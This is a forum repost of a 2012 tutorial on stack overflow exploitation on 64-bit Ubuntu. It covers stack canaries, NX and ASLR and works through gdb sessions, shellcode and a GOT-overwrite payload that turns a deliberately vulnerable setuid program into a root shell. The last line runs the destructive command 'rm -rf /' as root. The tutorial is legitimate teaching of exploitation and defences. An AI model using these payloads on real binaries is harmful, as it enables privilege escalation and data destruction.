Nytro Posted January 14, 2013 Report Posted January 14, 2013 [h=1]Stack Smashing On A Modern Linux System[/h]Stack Smashing On A Modern Linux System21 December, 2012 - 06:56 — jipPrerequisites: Basic understanding of C and and x86_64 assembly.++++++++++++++++++++++++++++++++++++++++++++ Stack Smashing On A Modern Linux System ++ jip@soldierx.com ++++++++++++++++++++++++++++++++++++++++++++[1. Introduction]This tutorial will attempt to show the reader the basics of stack overflows and explain some of the protection mechanisms present in modern linux distributions.For this purpose the latest version of Ubuntu (12.10) has been chosen because it incorporates several security mechanisms by default, and is overall a popular distribution that is easy to install and use. The platform is x86_64.The reader will learn how stack overflows were originally exploited on oldersystems that did not have these mechanisms in place by default. The individualprotections in the latest version of Ubuntu at the time of writing (12.10) willbe explained, and a case will be presented in which these are not sufficient toprevent the overflowing of a data structure on the stack that will result in control of the execution path of the program.Although the method of exploitation presented does not resemble the classicalmethod of overflowing (or "smashing") the stack and is in fact closer to themethod used for heap overflows or format string bugs (exploiting an arbitrarywrite), the overflow does happen on the stack in spite of Stack SmashingProtection being used to prevent stack overflows from happening. Now if this does not make sense to you yet, don't worry. I will go into more detail below.[2. System details]An overview of the default security mechanisms deployed in different versions ofUbuntu can be found here: https://wiki.ubuntu.com/Security/Features-----------------------------------$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gccLinux 3.5.0-19-generic x86_64DISTRIB_DESCRIPTION="Ubuntu 12.10"gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2-----------------------------------[3. The classical stack overflow]Let's go back in time. Life was easy and stack frames were there to be smashed.Sloppy use of data copying methods on the stack could easily result in totalcontrol over the program. Not many protection mechanisms had to be taken intoaccount, as demonstrated below.-----------------------------------$ cat oldskool.c#include <string.h>void go(char *data) { char name[64]; strcpy(name, data);}int main(int argc, char **argv) { go(argv[1]);}-----------------------------------Before testing, you should disable ASLR system-wide, you can do this as follows:-----------------------------------$ sudo -iroot@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space root@laptop:~# exitlogout-----------------------------------In very old systems this protection mechanism didn't exist. So for the purpose of this historical example it has been disabled. To disable the other protections, you can compile this example as follows:$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -gLooking at the rest of the example, we see that there is a buffer of 64 bytesallocated on the stack, and that the first argument on the command line iscopied into this buffer. The program does not check whether that argument islonger than 64 bytes, allowing strcpy() to keep copying data past the end of thebuffer into adjacent memory on the stack. This is known as a stack overflow.Now in order to gain control of execution of the program we are going to use thefact that before entering a function, any c program pushes the address of theinstruction it is supposed to execute after completing the function onto the stack. We call this address the return address, or Saved Instruction Pointer.In our example the Saved Instruction Pointer (the address of the instructionthat is supposed to be executed after completion of the go() function) is storednext to our name[64] buffer, because of the way the stack works. So if the usercan overwrite this return address with any address (supplied via the command line argument), the program will continue executing at this address. An attacker can hijack the flow of execution by copying instructions in their machine code form into the buffer and then pointing the return address to those instructions. When the program is done executing the function, it will continue executing the instructions provided by the attacker. The attacker can now make the program do anything for fun and profit.Enough talk, let me show you. If you don't understand the following commands,you can find a tutorial on how to use gdb here: http://beej.us/guide/bggdb/-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) disas mainDump of assembler code for function main: 0x000000000040053d <+0>: push %rbp 0x000000000040053e <+1>: mov %rsp,%rbp 0x0000000000400541 <+4>: sub $0x10,%rsp 0x0000000000400545 <+8>: mov %edi,-0x4(%rbp) 0x0000000000400548 <+11>: mov %rsi,-0x10(%rbp) 0x000000000040054c <+15>: mov -0x10(%rbp),%rax 0x0000000000400550 <+19>: add $0x8,%rax 0x0000000000400554 <+23>: mov (%rax),%rax 0x0000000000400557 <+26>: mov %rax,%rdi 0x000000000040055a <+29>: callq 0x40051c 0x000000000040055f <+34>: leaveq 0x0000000000400560 <+35>: retq End of assembler dump.(gdb) break *0x40055aBreakpoint 1 at 0x40055a: file oldskool.c, line 11.(gdb) run mynameStarting program: /home/me/.hax/vuln/oldskool mynameBreakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)11 go(argv[1]);(gdb) x/i $rip=> 0x40055a : callq 0x40051c (gdb) i r rsprsp 0x7fffffffe0d0 0x7fffffffe0d0(gdb) sigo (data=0xc2 ) at oldskool.c:44 void go(char *data) {(gdb) i r rsprsp 0x7fffffffe0c8 0x7fffffffe0c8(gdb) x/gx $rsp0x7fffffffe0c8: 0x000000000040055f-----------------------------------We set a breakpoint right before the call to go(), at 0x000000000040055a <+29>.Then we run the program with the argument "myname", and it stops before callinggo(). We execute one instruction (si) and see that the stack pointer (rsp) now points to a location containing the address right after the callq go instructionat 0x000000000040055f <+34>. This demonstrates exactly what was discussed above.The following output will demonstrate that when the go() function is done, it will execute the "retq" instruction, which will pop this pointer off the stack,and continue execution at whatever address it points to.-----------------------------------(gdb) disas goDump of assembler code for function go:=> 0x000000000040051c <+0>: push %rbp 0x000000000040051d <+1>: mov %rsp,%rbp 0x0000000000400520 <+4>: sub $0x50,%rsp 0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp) 0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx 0x000000000040052c <+16>: lea -0x40(%rbp),%rax 0x0000000000400530 <+20>: mov %rdx,%rsi 0x0000000000400533 <+23>: mov %rax,%rdi 0x0000000000400536 <+26>: callq 0x4003f0 0x000000000040053b <+31>: leaveq 0x000000000040053c <+32>: retq End of assembler dump.(gdb) break *0x40053cBreakpoint 2 at 0x40053c: file oldskool.c, line 8.(gdb) continueContinuing.Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")8 }(gdb) x/i $rip=> 0x40053c : retq (gdb) x/gx $rsp0x7fffffffe0c8: 0x000000000040055f(gdb) simain (argc=2, argv=0x7fffffffe1c8) at oldskool.c:1212 }(gdb) x/gx $rsp0x7fffffffe0d0: 0x00007fffffffe1c8(gdb) x/i $rip=> 0x40055f : leaveq (gdb) quit-----------------------------------We set a breakpoint right before the go() function returns and continue execution. The program stops right before executing the "retq" instruction.We see that the stack pointer (rsp) still points to the address inside of mainthat the program is supposed to jump to after finishing the execution of go().The retq instruction is executed, and we see that the program has indeed poppedthe return address off the stack and has jumped to it. Now we are going to overwrite this address by supplying more than 32 bytes of data, using perl:-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) run `perl -e 'print "A"x48'`Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x48'`Program received signal SIGSEGV, Segmentation fault.0x000000000040059c in go (data=0x7fffffffe49a 'A' )12 }(gdb) x/i $rip=> 0x40059c : retq (gdb) x/gx $rsp0x7fffffffe0a8: 0x4141414141414141-----------------------------------We use perl to print a string of 80 x "A" on the command line, and pass that asan argument to our example program. We see that the program crashes when it tries to execute the "retq" instruction inside the go() function, since ittries to jump to the return address which we have overwritten with "A"s (0x41).Note that we have to write 80 bytes (64 + 8 + 8 ) because pointers are 8 byteslong on 64 bit machines, and there is actually another stored pointer betweenour name buffer and the Saved Instruction Pointer.Okay, so now we can redirect the execution path to any location we want. How canwe use this to make the program do our bidding? If we place our own machine codeinstructions inside the name[] buffer and then overwrite the return address with the address of the beginning of this buffer, the program will continueexecuting our instructions (or "shellcode") after it's done executing the go function. So we need to create a shellcode, and we need to know the address ofthe name[] buffer so we know what to overwrite the return address with. I willnot go into creating shellcode as this is a little bit outside the scope of thistutorial, but will instead provide you with a shellcode that prints a message tothe screen. We can determine the address of the name[] buffer like this:-----------------------------------(gdb) p &name$2 = (char [32]) 0x7fffffffe0a0-----------------------------------We can use perl to print unprintable characters to the command line, by escapingthem like this: "\x41". Furthermore, because of the way little-endian machinesstore integers and pointers, we have to reverse the order of the bytes. So the value we will use to overwrite the Saved Instruction Pointer will be:"\xa0\xe0\xff\xff\xff\x7f"This is the shellcode that will print our message to the screen and then exit:"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"Note that these are just instructions in machine code form, escaped so that theyare printable with perl. Because the shellcode is 45 bytes long, and we need toprovide 72 bytes of data before we can overwrite the SIP, we have to add 27bytes as padding. So the string we use to own the program looks like this:"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"The program will jump to 0x7fffffffe0a0 when it is done executing the function go(). This is where the name[] buffer is located, which we have filled with ourmachine code. It should then execute our machine code to print our message and exit the program. Let's try it (note that you should remove all line breaks when you try to reproduce this):-----------------------------------$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"'`Hax!$ -----------------------------------It worked! Our important message has been delivered, and the process has exit.[4. Protection mechanisms]Welcome back to 2012. The example above does not work anymore on so many levels.There are a lot of different protection mechanisms in place today on our ubuntusystem, and this particular type of vulnerability does not even exist in thisform anymore. There are still overflows that can happen on the stack though,and there are still ways of exploiting them. That is what I want to show youin this section, but first let's look at the different protection schemes.[4.1 Stack Smashing Protection]In the first example, we used the -fno-stack-protector flag to indicate to gccthat we did not want to compile with stack smashing protection. What happens ifwe leave this out, along with the other flags we passed earlier? Note that at this point ASLR is back on and so everything is set to their defaults.$ gcc oldskool.c -o oldskool -gLet's look at the binary with gdb for a minute and see what's going on.-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) disas goDump of assembler code for function go: 0x000000000040058c <+0>: push %rbp 0x000000000040058d <+1>: mov %rsp,%rbp 0x0000000000400590 <+4>: sub $0x60,%rsp 0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp) 0x0000000000400598 <+12>: mov %fs:0x28,%rax 0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp) 0x00000000004005a5 <+25>: xor %eax,%eax 0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx 0x00000000004005ab <+31>: lea -0x50(%rbp),%rax 0x00000000004005af <+35>: mov %rdx,%rsi 0x00000000004005b2 <+38>: mov %rax,%rdi 0x00000000004005b5 <+41>: callq 0x400450 0x00000000004005ba <+46>: mov -0x8(%rbp),%rax 0x00000000004005be <+50>: xor %fs:0x28,%rax 0x00000000004005c7 <+59>: je 0x4005ce 0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt> 0x00000000004005ce <+66>: leaveq 0x00000000004005cf <+67>: retq End of assembler dump.-----------------------------------If we look at go+12 and go+21, we see that a value is taken from $fs+0x28, or%fs:0x28. What exactly this address points to is not very important, for nowI will just say fs points to structures maintained by the kernel, and we can'tactually inspect the value of fs using gdb. What is more important to us is thatthis location contains a random value that we cannot predict, as demonstrated:-----------------------------------(gdb) break *0x0000000000400598Breakpoint 1 at 0x400598: file oldskool.c, line 4.(gdb) runStarting program: /home/me/.hax/vuln/oldskool Breakpoint 1, go (data=0x0) at oldskool.c:44 void go(char *data) {(gdb) x/i $rip=> 0x400598 : mov %fs:0x28,%rax(gdb) si0x00000000004005a1 4 void go(char *data) {(gdb) i r raxrax 0x110279462f20d000 1225675390943547392(gdb) runThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/me/.hax/vuln/oldskool Breakpoint 1, go (data=0x0) at oldskool.c:44 void go(char *data) {(gdb) si0x00000000004005a1 4 void go(char *data) {(gdb) i r raxrax 0x21f95d1abb2a0800 2448090241843202048-----------------------------------We break right before the instruction that moves the value from $fs+0x28 intorax and execute it, inspect rax and repeat the whole process and see clearly that the value changed between runs. So this is a value that is different every time the program runs, which means that an attacker can't reliably predict it.So how is this value used to protect the stack? If we look at go+21 we see thatthe value is copied onto the stack, at location -0x8(%rbp). If we look at the prologue to deduct what that points at, we see that this random value is rightin between the function's local variables and the saved instruction pointer.This is called a "canary" value, referring to the canaries miners use to alertthem whenever a gas leak is going on, since the canaries would die way beforeany human is in danger. Much like that situation, when a stack overflow occurs, the canary value would be the first to die, before the saved instruction pointercould be overwritten. If we look at go+46 and go+50, we see that the value isread from the stack and compared to the original value. If they are equal, thecanary has not been changed and thus the saved instruction pointer hasn't beenaltered either, allowing the function to return safely. If the value has beenchanged, a stack overflow has occured and the saved instruction pointer may havebeen compromised. Since it's not safe to return, the function instead calls the__stack_chk_fail function. This function does some magic, throws an error andeventually exits the process. This is what that looks like:-----------------------------------$ ./oldskool `perl -e 'print "A"x80'`*** stack smashing detected ***: ./oldskool terminatedAborted (core dumped)-----------------------------------So to recap, the buffer is overflowed, and data is copied over the canary valueand over the saved instruction pointer. However, before attempting to return to this overwritten SIP, the program detects that the canary has been tampered with and exits safely before doing the attackers bidding. Now the bad news isthat there is not really a good way around this situation for the attacker.You might think about bruteforcing the stack canary, but in this case it wouldbe different for every run, so you would have to be extremely lucky to hit theright value. It would take some time and would not be very stealthy either.The good news is that there are plenty of situations in which this is not sufficient to prevent exploitation. For example, stack canaries are only used to protect the SIP and not to protect application variables. This could lead to other exploitable situations, as shown later. The oldskool method of "smashing" the stack frame to trick the program into returning to our code is effectively killed by this protection mechanism though; it is no longer viable.[4.2 NX: non-executable memory]Now you might have noticed we did not just skip the -fno-stack-protector flag this time, but we also left out the -zexecstack flag. This flag told the system to allow us to execute instructions stored on the stack. Modern systems do notallow for this to happen, by either marking memory as writable for data, or executable for instructions. No region of memory will be both writable andexecutable at the same time. If you think about this, this means that the wehave no way of storing shellcode in memory that the program could later execute.Since we cannot write to the executable sections of memory and the programcan't execute instructions located in the writable sections of memory, we willneed some other way to trick the program into doing what we want. The answer isROP, or Return-Oriented Programming. The trick here is to use parts of code thatare already in the program itself, thus located in the executable .text sectionof the binary, and chain them together in a way so that they will resemble our old shellcode. I will not go too deeply into this subject, but I will show you an example at the end of this tutorial. Let me finish by demonstrating that aprogram will fail when trying to execute instructions from the stack:-----------------------------------$ cat nx.cint main(int argc, char **argv) { char shellcode[] = "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff" "\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48" "\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"; void (*func)() = (void *)shellcode; func();}$ gcc nx.c -o nx -zexecstack$ ./nxHax!$ $ gcc nx.c -o nx$ ./nxSegmentation fault (core dumped)-----------------------------------We placed our shellcode from earlier in a buffer on the stack, and set a function pointer to point to that buffer before calling it. When we compile withthe -zexecstack like before, the code can be executed on the stack. But without the flag, the stack is marked as non executable by default, and the program will fail with a segmentation fault.[4.3 ASLR: Address Space Layout Randomization]The last thing we disabled when trying out the classic stack overflow example was ASLR, by executing echo "0" > /proc/sys/kernel/randomize_va_space as root.ASLR makes sure that every time the program is loaded, it's libraries and memoryregions are mapped at random locations in virtual memory. This means that when running the program twice, buffers on the stack will have different addressesbetween runs. This means that we cannot simply use a static address pointing tothe stack that we happened to find by using gdb, because these addresses will not be correct the next time the program is run. Note that gdb will disable ASLRwhen debugging a program, and we can enable it inside gdb for a more realisticview of what's going on as shown below (output is trimmed on the right, the addresses are what's important here):-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) set disable-randomization off(gdb) break mainBreakpoint 1 at 0x4005df: file oldskool.c, line 11.(gdb) runStarting program: /home/me/.hax/vuln/oldskool Breakpoint 1, main (argc=1, argv=0x7fffe22fe188) at oldskool.c:1111 go(argv[1]);(gdb) i proc mapprocess 6988Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln 0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln 0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln 0x7f0e120ef000 0x7f0e122a4000 0x1b5000 0x0 /lib/x86_64-linux- 0x7f0e122a4000 0x7f0e124a3000 0x1ff000 0x1b5000 /lib/x86_64-linux- 0x7f0e124a3000 0x7f0e124a7000 0x4000 0x1b4000 /lib/x86_64-linux- 0x7f0e124a7000 0x7f0e124a9000 0x2000 0x1b8000 /lib/x86_64-linux- 0x7f0e124a9000 0x7f0e124ae000 0x5000 0x0 0x7f0e124ae000 0x7f0e124d0000 0x22000 0x0 /lib/x86_64-linux- 0x7f0e126ae000 0x7f0e126b1000 0x3000 0x0 0x7f0e126ce000 0x7f0e126d0000 0x2000 0x0 0x7f0e126d0000 0x7f0e126d1000 0x1000 0x22000 /lib/x86_64-linux- 0x7f0e126d1000 0x7f0e126d3000 0x2000 0x23000 /lib/x86_64-linux- 0x7fffe22df000 0x7fffe2300000 0x21000 0x0 [stack] 0x7fffe23c2000 0x7fffe23c3000 0x1000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall](gdb) runThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/me/.hax/vuln/oldskool Breakpoint 1, main (argc=1, argv=0x7fff7e16cfd8) at oldskool.c:1111 go(argv[1]);(gdb) i proc mapprocess 6991Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln 0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln 0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln 0x7fdbb2753000 0x7fdbb2908000 0x1b5000 0x0 /lib/x86_64-linux- 0x7fdbb2908000 0x7fdbb2b07000 0x1ff000 0x1b5000 /lib/x86_64-linux- 0x7fdbb2b07000 0x7fdbb2b0b000 0x4000 0x1b4000 /lib/x86_64-linux- 0x7fdbb2b0b000 0x7fdbb2b0d000 0x2000 0x1b8000 /lib/x86_64-linux- 0x7fdbb2b0d000 0x7fdbb2b12000 0x5000 0x0 0x7fdbb2b12000 0x7fdbb2b34000 0x22000 0x0 /lib/x86_64-linux- 0x7fdbb2d12000 0x7fdbb2d15000 0x3000 0x0 0x7fdbb2d32000 0x7fdbb2d34000 0x2000 0x0 0x7fdbb2d34000 0x7fdbb2d35000 0x1000 0x22000 /lib/x86_64-linux- 0x7fdbb2d35000 0x7fdbb2d37000 0x2000 0x23000 /lib/x86_64-linux- 0x7fff7e14d000 0x7fff7e16e000 0x21000 0x0 [stack] 0x7fff7e1bd000 0x7fff7e1be000 0x1000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]-----------------------------------We set "disable-randomization" to "off", we run the program twice and inspectthe mappings to see that most of them have different addresses. Indeed, not allof them do, and this is the key to succesful exploitation with ASLR enabled.[5. Modern stack overflow]So, even with all these protection mechanisms in place, sometimes there is roomfor an overflow. And sometimes that overflow leads to successful exploitation.I showed you how the stack canary protects the stack frame from being messed upand the SIP from being overwritten by copying past the end of a local buffer.But the stack canaries are only placed before the SIP, not between variableslocated on the stack. So it is still possible for a variable on the stack to beoverwritten in the same fashion as the SIP was overwritten in our first example.This can lead to a lot of different problems, in some cases we can simply overwrite a function pointer that is called at some point. In some other caseswe can overwrite a pointer that is later used to write or read data, and thuscontrol this read or write. This is what I am going to show you. By overflowinga buffer on the stack and overwriting a pointer on the stack that is later usedto write user-supplied data, the attacker can write data to an arbitrary location. A situation like this can often be exploited to gain control of execution. Here is the source code of the example vulnerability:-----------------------------------$ cat stackvuln.c#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#define MAX_SIZE 48#define BUF_SIZE 64char data1[BUF_SIZE], data2[BUF_SIZE];struct item { char data[MAX_SIZE]; void *next;};int go(void) { struct item item1, item2; item1.next = &item2; item2.next = &item1; memcpy(item1.data, data1, BUF_SIZE); // Whoops, did we mean MAX_SIZE? memcpy(item1.next, data2, MAX_SIZE); // Yes, yes we did. exit(-1); // Exit in shame.}void hax(void) { execl("/bin/bash", "/bin/bash", "-p", NULL);}void readfile(char *filename, char *buffer, int len) { FILE *fp; fp = fopen(filename, "r"); if (fp != NULL) { fread(buffer, 1, len, fp); fclose(fp); }}int main(int argc, char **argv) { readfile("data1.dat", data1, BUF_SIZE); readfile("data2.dat", data2, BUF_SIZE); go();}$ gcc stackvuln.c -o stackvuln$ sudo chown root:root stackvuln$ sudo chmod +s ./stackvuln-----------------------------------For the purpose of this example, I have included the "hax()" function which is obviously where we want to redirect execution to. Originally I wanted to includean example using a ROP chain to call a function like system(), but I decided notto for two reasons: it is perhaps a little bit out of scope for this tutorial and I think it would make this tutorial too hard to follow for beginners, besides that it was quite hard to find good gadgets in a program this small.The use of this function does illustrate the point that because of NX, we can'tpush our own shellcode onto the stack and execute it, but we have to reuse codethat is in the program already (be it a function, or a chain of ROP gadgets).Google ROP exploitation if you are interested in the real deal.Our overflow happens in the go() function. It creates a circular list with twoitems of the 'struct item' type. The first memcpy accidentally copies too manybytes into the structure, allowing us to overwrite the "next" pointer which is used to write to in the second call. So, if we can overwrite the next pointerwith an address of our choice, we can control where memcpy writes to. Besides,we also control data1 and data2, because these buffers are read from a file.This data could've come from a network connection or some other input, but Ichose to use files because it allows us to easily alter the payloads for demonstration purposes. So, we can write any 48 bytes we want, to any location we want. How can we use this to gain control of the program?We are going to use a structure called the GOT/PLT. I will try to explain quickly what it is, but if you need more information there is a lot of it on theweb. The .got.plt is a table of addresses that a binary uses to keep track of the location of functions that are in a library. As I explained before, ASLRmakes sure that a library is mapped to a different virtual memory address everytime the program runs. So the program can't use static absolute addresses to refer to functions inside these libraries, because these addresses would changeevery run. So, the short version is, it uses a mechanism that calls a stub tocalculate the real address of the function, store it in a table, and use thatfor future reference. So every time the function is called, the address insidethis table (.got.plt) is used.We can abuse this by overwriting this address, so that the next time the programthinks it's calling the function that corresponds with that particular entry,it will be redirected to an instruction of our choice, much like the redirectionwe used before by overwriting the return pointer. If we look at our example, wesee that exit() is called right after the calls to memcpy(). So, if we can usethe arbitrary write provided by those calls to overwrite the .got.plt entry ofexit(), the program will jump to the address we provided instead of the addressof exit() inside libc. Which address will we use? You guessed it, the addressof hax(). First, let me show you how the .got.plt is used when exit() is called:-----------------------------------$ cat exit.c#include <stdlib.h>int main(int argc, char **argv) { exit(0);}$ gcc exit.c -o exit -g$ gdb -q ./exitReading symbols from /home/me/.hax/plt/exit...done.(gdb) disas mainDump of assembler code for function main: 0x000000000040051c <+0>: push %rbp 0x000000000040051d <+1>: mov %rsp,%rbp 0x0000000000400520 <+4>: sub $0x10,%rsp 0x0000000000400524 <+8>: mov %edi,-0x4(%rbp) 0x0000000000400527 <+11>: mov %rsi,-0x10(%rbp) 0x000000000040052b <+15>: mov $0x0,%edi 0x0000000000400530 <+20>: callq 0x400400 End of assembler dump.(gdb) x/i 0x400400 0x400400 : jmpq *0x200c1a(%rip) # 0x601020 (gdb) x/gx 0x6010200x601020 : 0x0000000000400406-----------------------------------We see at main+20 that instead of calling exit inside libc directly, 0x400400 iscalled, which is a stub inside the plt. It jumps to whatever address is locatedat 0x601020, inside the got.plt. Now in this case this is an address back inside the stub again, which resolves the address of the function inside libc, and replaces the entry in 0x601020 with the real address of exit. So wheneverexit is called, the address 0x601020 is used regardless of whether the realaddress has been resolved yet or not. So, we need to overwrite this location with the address of the hax() function, and the program will execute that function instead of exit(). So for our example vulnerability, we need to locatewhere the entry to exit is inside the .got.plt, overwrite the pointer in the structure with this address, and then fill the data2 buffer with the pointer tothe hax() function. The first call will then overwrite the item1.next pointerwith the pointer to the exit entry inside got.plt, the second call will overwrite this location with the pointer to hax(). After that, exit() is calledso our pointer is used and hax() will execute, spawning a root shell. Let's go!Oh, one more thing: because the entry of execl() is located right after theentry of exit() and our memcpy call will copy 48 bytes, we need to make sure that this pointer is not wrecked by including it in our payload. -----------------------------------(gdb) mai i sect .got.pltExec file: `/tmp/stackvuln/stackvuln', file type elf64-x86-64. 0x00601000->0x00601050 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS(gdb) x/10gx 0x6010000x601000: 0x0000000000600e28 0x00000000000000000x601010: 0x0000000000000000 0x00000000004005260x601020 < fclose@got.plt>: 0x0000000000400536 0x00000000004005460x601030 < memcpy@got.plt>: 0x0000000000400556 0x00000000004005660x601040 < exit@got.plt>: 0x0000000000400576 0x0000000000400586(gdb) p hax$1 = {< text variable, no debug info >} 0x40073b -----------------------------------Okay, so the entry of exit is at 0x601040, and hax() is at 0x40073b. Let'sconstruct our payloads:-----------------------------------$ hexdump data1.dat -vC00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|00000030 40 10 60 00 00 00 00 00 |@.`.....|00000038$ hexdump data2.dat -vC00000000 3b 07 40 00 00 00 00 00 86 05 40 00 00 00 00 00 |;.@.......@.....|00000010-----------------------------------For the first call, we use 48 bytes of padding, and then overwrite the "next"pointer with a pointer to the .got.plt entry. Remember that because we are ona little-endian architecture, the order of the individual bytes of the addressis reversed. The second file contains the pointer to the function of hax(), whichwill be written to the .got.plt in the exit() entry. The second address is theentry of execl(), and contains it's original address just to make sure it is still callable. After the two calls to memcpy, exit@plt will be called and willuse our address to hax() from the .got.plt. This will mean hax() gets executed.-----------------------------------$ ./stackvulnbash-4.2# whoamirootbash-4.2# rm -rf /Sursa: Vulnerability analysis, Security Papers, Exploit Tutorials Quote